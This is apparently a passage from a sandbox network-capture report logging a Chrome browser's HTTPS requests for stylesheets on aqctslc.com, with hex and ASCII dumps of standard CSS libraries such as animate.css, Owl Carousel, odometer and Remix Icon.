65 58 28 2d 32 30 30 30 70 78 29 20 73 63 61 6c 65 28 2e 37 29 3b 6f 70 61 63 69 74 79 3a 2e 37 7d 38 30 25 7b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: 0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes backInLeft{0%{-webkit-transform:translateX(-2000px) scale(.7);transform:translateX(-2000px) scale(.7);opacity:.7}80%{-webkit-t
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 30 30 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 30 30 30 70 78 2c 30 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 4c 65 66 74 42 69 67 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 30 30 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c Data Ascii: opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:transl
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 6c 69 70 4f 75 74 59 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 6c 69 70 4f 75 74 59 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 6c 69 67 68 74 53 70 65 65 64 49 6e 52 69 67 68 74 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 25 2c 30 2c 30 29 20 73 6b 65 77 58 28 2d 33 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 25 2c 30 2c 30 29 20 73 6b 65 77 Data Ascii: e-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedInRight{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skew
2025-01-09 23:51:35 UTC	6478	IN	Data Raw: 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 37 35 2c 2e 38 38 35 2c 2e 33 32 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 37 35 2c 2e 38 38 35 2c 2e 33 32 2c 31 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 7a 6f 6f 6d 4f 75 74 44 6f 77 6e 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 7a 6f 6f 6d 4f 75 74 44 6f 77 6e 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 7a 6f 6f 6d 4f 75 74 44 6f 77 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 3b 74 72 61 6e 73 66 6f 72 6d 2d Data Ascii: ;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown;-webkit-transform-origin:center bottom;transform-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49741	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	555	OUT	GET /themes/static/css/meanmenu.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	2631	IN	Data Raw: 61 33 62 0d 0a 2f 2a 21 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a 0d 0a 09 4d 65 61 6e 4d 65 6e 75 20 32 2e 30 2e 37 0d 0a 09 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 0d 0a 09 54 6f 20 62 65 20 75 73 65 64 20 77 69 74 68 20 6a 71 75 65 72 79 2e 6d 65 61 6e 6d 65 6e 75 2e 6a 73 20 62 79 20 43 68 72 69 73 20 57 68 61 72 74 6f 6e 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 65 61 6e 74 68 65 6d 65 73 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 65 61 6e 6d 65 6e 75 2f 29 0d 0a 0d 0a 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 Data Ascii: a3b/*! #######################################################################MeanMenu 2.0.7--------To be used with jquery.meanmenu.js by Chris Wharton (http://www.meanthemes.com/plugins/meanmenu/)#######################################

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49739	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	555	OUT	GET /themes/static/css/odometer.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	3165	IN	Data Raw: 63 35 31 0d 0a 2f 2a 21 20 6f 64 6f 6d 65 74 65 72 20 30 2e 34 2e 38 20 2a 2f 0d 0a 2e 6f 64 6f 6d 65 74 65 72 2e 6f 64 6f 6d 65 74 65 72 2d 61 75 74 6f 2d 74 68 65 6d 65 2c 2e 6f 64 6f 6d 65 74 65 72 2e 6f 64 6f 6d 65 74 65 72 2d 74 68 65 6d 65 2d 64 65 66 61 75 6c 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 2a 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 61 75 74 6f 3b 2a 7a 6f 6f 6d 3a 31 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6f 64 6f 6d 65 74 65 72 2e 6f 64 6f 6d 65 74 65 72 2d 61 75 74 6f 2d 74 68 65 6d 65 20 2e 6f 64 6f 6d 65 74 65 72 2d 64 69 67 69 74 2c 2e 6f 64 6f 6d 65 74 65 72 2e 6f 64 Data Ascii: c51/! odometer 0.4.8 /.odometer.odometer-auto-theme,.odometer.odometer-theme-default{display:inline-block;vertical-align:middle;vertical-align:auto;zoom:1;*display:inline;position:relative}.odometer.odometer-auto-theme .odometer-digit,.odometer.od

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49742	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	559	OUT	GET /themes/static/css/owl.carousel.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	3417	IN	Data Raw: 64 34 64 0d 0a 2f 2a 2a 0d 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0d 0a 20 2a 2f 0d 0a 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 Data Ascii: d4d/** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */ .owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49740	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	564	OUT	GET /themes/static/css/owl.theme.default.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	1031	IN	Data Raw: 33 66 62 0d 0a 2f 2a 2a 0d 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0d 0a 20 2a 2f 0d 0a 20 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 2c 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 Data Ascii: 3fb/** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */ .owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49746	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:35 UTC	552	OUT	GET /themes/static/css/remixicon.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:35 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 0a 2a 20 52 65 6d 69 78 20 49 63 6f 6e 20 76 32 2e 35 2e 30 0a 2a 20 68 74 74 70 73 3a 2f 2f 72 65 6d 69 78 69 63 6f 6e 2e 63 6f 6d 0a 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 52 65 6d 69 78 2d 44 65 73 69 67 6e 2f 52 65 6d 69 78 49 63 6f 6e 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 52 65 6d 69 78 49 63 6f 6e 2e 63 6f 6d 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 56 65 72 73 69 6f 6e 20 32 2e 30 0a 2a 0a 2a 20 44 61 74 65 3a 20 32 30 32 30 2d 30 35 2d 32 33 0a 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 72 65 6d 69 78 69 63 6f 6e 22 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f Data Ascii: ffa8/** Remix Icon v2.5.0* https://remixicon.com* https://github.com/Remix-Design/RemixIcon** Copyright RemixIcon.com* Released under the Apache License Version 2.0** Date: 2020-05-23*/@font-face { font-family: "remixicon"; src: url('../fo
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 6e 74 65 6e 74 3a 20 22 5c 65 62 32 64 22 3b 20 7d 0a 2e 72 69 2d 63 61 6d 65 72 61 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 62 32 65 22 3b 20 7d 0a 2e 72 69 2d 63 61 6d 65 72 61 2d 6c 65 6e 73 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 62 32 66 22 3b 20 7d 0a 2e 72 69 2d 63 61 6d 65 72 61 2d 6c 65 6e 73 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 62 33 30 22 3b 20 7d 0a 2e 72 69 2d 63 61 6d 65 72 61 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 62 33 31 22 3b 20 7d 0a 2e 72 69 2d 63 61 6d 65 72 61 2d 6f 66 66 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 62 33 32 22 3b 20 Data Ascii: ntent: "\eb2d"; }.ri-camera-fill:before { content: "\eb2e"; }.ri-camera-lens-fill:before { content: "\eb2f"; }.ri-camera-lens-line:before { content: "\eb30"; }.ri-camera-line:before { content: "\eb31"; }.ri-camera-off-fill:before { content: "\eb32";
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 37 64 22 3b 20 7d 0a 2e 72 69 2d 65 64 67 65 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 37 65 22 3b 20 7d 0a 2e 72 69 2d 65 64 69 74 2d 32 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 37 66 22 3b 20 7d 0a 2e 72 69 2d 65 64 69 74 2d 32 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 38 30 22 3b 20 7d 0a 2e 72 69 2d 65 64 69 74 2d 62 6f 78 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 38 31 22 3b 20 7d 0a 2e 72 69 2d 65 64 69 74 2d 62 6f 78 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 63 38 32 22 3b 20 7d 0a 2e Data Ascii: fore { content: "\ec7d"; }.ri-edge-line:before { content: "\ec7e"; }.ri-edit-2-fill:before { content: "\ec7f"; }.ri-edit-2-line:before { content: "\ec80"; }.ri-edit-box-fill:before { content: "\ec81"; }.ri-edit-box-line:before { content: "\ec82"; }.
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 6c 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 63 65 22 3b 20 7d 0a 2e 72 69 2d 67 6c 6f 62 61 6c 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 63 66 22 3b 20 7d 0a 2e 72 69 2d 67 6c 6f 62 65 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 64 30 22 3b 20 7d 0a 2e 72 69 2d 67 6c 6f 62 65 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 64 31 22 3b 20 7d 0a 2e 72 69 2d 67 6f 62 6c 65 74 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 64 32 22 3b 20 7d 0a 2e 72 69 2d 67 6f 62 6c 65 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 64 64 33 22 Data Ascii: l-fill:before { content: "\edce"; }.ri-global-line:before { content: "\edcf"; }.ri-globe-fill:before { content: "\edd0"; }.ri-globe-line:before { content: "\edd1"; }.ri-goblet-fill:before { content: "\edd2"; }.ri-goblet-line:before { content: "\edd3"
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 66 32 37 22 3b 20 7d 0a 2e 72 69 2d 6d 65 64 61 6c 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 66 32 38 22 3b 20 7d 0a 2e 72 69 2d 6d 65 64 69 63 69 6e 65 2d 62 6f 74 74 6c 65 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 66 32 39 22 3b 20 7d 0a 2e 72 69 2d 6d 65 64 69 63 69 6e 65 2d 62 6f 74 74 6c 65 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 0d 0a 62 30 34 35 0d 0a 3a 20 22 5c 65 66 32 61 22 3b 20 7d 0a 2e 72 69 2d 6d 65 64 69 75 6d 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 65 66 32 62 22 3b 20 7d 0a 2e 72 69 2d 6d 65 64 69 75 6d 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f Data Ascii: { content: "\ef27"; }.ri-medal-line:before { content: "\ef28"; }.ri-medicine-bottle-fill:before { content: "\ef29"; }.ri-medicine-bottle-line:before { contentb045: "\ef2a"; }.ri-medium-fill:before { content: "\ef2b"; }.ri-medium-line:before { co
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 37 64 22 3b 20 7d 0a 2e 72 69 2d 72 65 73 74 2d 74 69 6d 65 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 37 65 22 3b 20 7d 0a 2e 72 69 2d 72 65 73 74 61 72 74 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 37 66 22 3b 20 7d 0a 2e 72 69 2d 72 65 73 74 61 72 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 30 22 3b 20 7d 0a 2e 72 69 2d 72 65 73 74 61 75 72 61 6e 74 2d 32 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 31 22 3b 20 7d 0a 2e 72 69 2d 72 65 73 74 61 75 72 61 6e 74 2d 32 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 Data Ascii: { content: "\f07d"; }.ri-rest-time-line:before { content: "\f07e"; }.ri-restart-fill:before { content: "\f07f"; }.ri-restart-line:before { content: "\f080"; }.ri-restaurant-2-fill:before { content: "\f081"; }.ri-restaurant-2-line:before { content: "
2025-01-09 23:51:35 UTC	12534	IN	Data Raw: 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 35 22 3b 20 7d 0a 2e 72 69 2d 74 2d 73 68 69 72 74 2d 61 69 72 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 36 22 3b 20 7d 0a 2e 72 69 2d 74 2d 73 68 69 72 74 2d 61 69 72 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 37 22 3b 20 7d 0a 2e 72 69 2d 74 2d 73 68 69 72 74 2d 66 69 6c 6c 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 38 22 3b 20 7d 0a 2e 72 69 2d 74 2d 73 68 69 72 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 64 39 22 3b 20 7d 0a 2e 72 69 2d 74 61 62 6c 65 2d 32 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 Data Ascii: ine:before { content: "\f1d5"; }.ri-t-shirt-air-fill:before { content: "\f1d6"; }.ri-t-shirt-air-line:before { content: "\f1d7"; }.ri-t-shirt-fill:before { content: "\f1d8"; }.ri-t-shirt-line:before { content: "\f1d9"; }.ri-table-2:before { content:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49753	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:35 UTC	548	OUT	GET /themes/static/css/style.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
